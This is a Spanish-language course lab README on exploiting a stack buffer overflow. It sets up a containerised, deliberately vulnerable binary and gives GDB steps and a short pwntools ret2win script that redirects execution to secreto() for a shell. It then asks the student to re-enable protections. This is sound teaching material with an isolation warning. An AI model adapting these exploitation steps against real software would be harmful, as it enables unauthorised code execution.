Laboratorio para la Parte 5 — Explotación de sistemas y binarios (clases 116–140). Trae
gcc, gdb, pwntools y un binario deliberadamente vulnerable compilado con las
protecciones desactivadas, para practicar análisis y explotación de un stack overflow.
⚠️ Solo laboratorio. El binario es tuyo y corre dentro del contenedor aislado. Estas técnicas se practican exclusivamente sobre binarios propios o retos autorizados (CTF).
| Objetivo | Clases |
|---|---|
| Assembly, stack y registros | 116, 117 |
| Debugging con GDB | 118 |
| Buffer overflow (teoría y práctica) | 119, 120 |
| Protecciones modernas (ASLR/NX/canary/PIE) | 122 |
cd labs/pwn-binarios
docker compose up -d
docker compose exec pwn bash
# dentro: el binario ya está compilado como ./reto1_overflow
El reto: la función secreto() nunca se llama; el objetivo es desbordar el búfer de
vulnerable() y desviar la dirección de retorno hacia secreto().
# 1. Reconocimiento del binario
file reto1_overflow
checksec --file=reto1_overflow # (pwntools) confirma NX off, sin canary, sin PIE
# 2. Encontrar el offset hasta la dirección de retorno con GDB
gdb ./reto1_overflow
# (gdb) run → introduce muchas 'A' y observa el crash / EIP
# usa un patrón cíclico (cyclic 200) de pwntools para medir el offset exacto
# 3. Dirección de secreto()
nm reto1_overflow | grep secreto # o en gdb: p secreto
# 4. Construir el exploit con pwntools (idea):
python3 - <<'PY'
from pwn import *
e = ELF('./reto1_overflow')
off = 76 # <- mide el offset real con cyclic() en tu binario
payload = b'A'*off + p32(e.symbols['secreto'])
p = process('./reto1_overflow')
p.sendline(payload)
p.interactive() # deberías obtener una shell
PY
secreto() y obtener una shell. Aceptación: aparece el mensaje [+] ... Reto resuelto.-fstack-protector-all, -fPIE -pie, -z noexecstack) y explica por qué el exploit deja de funcionar (clase 122).docker compose down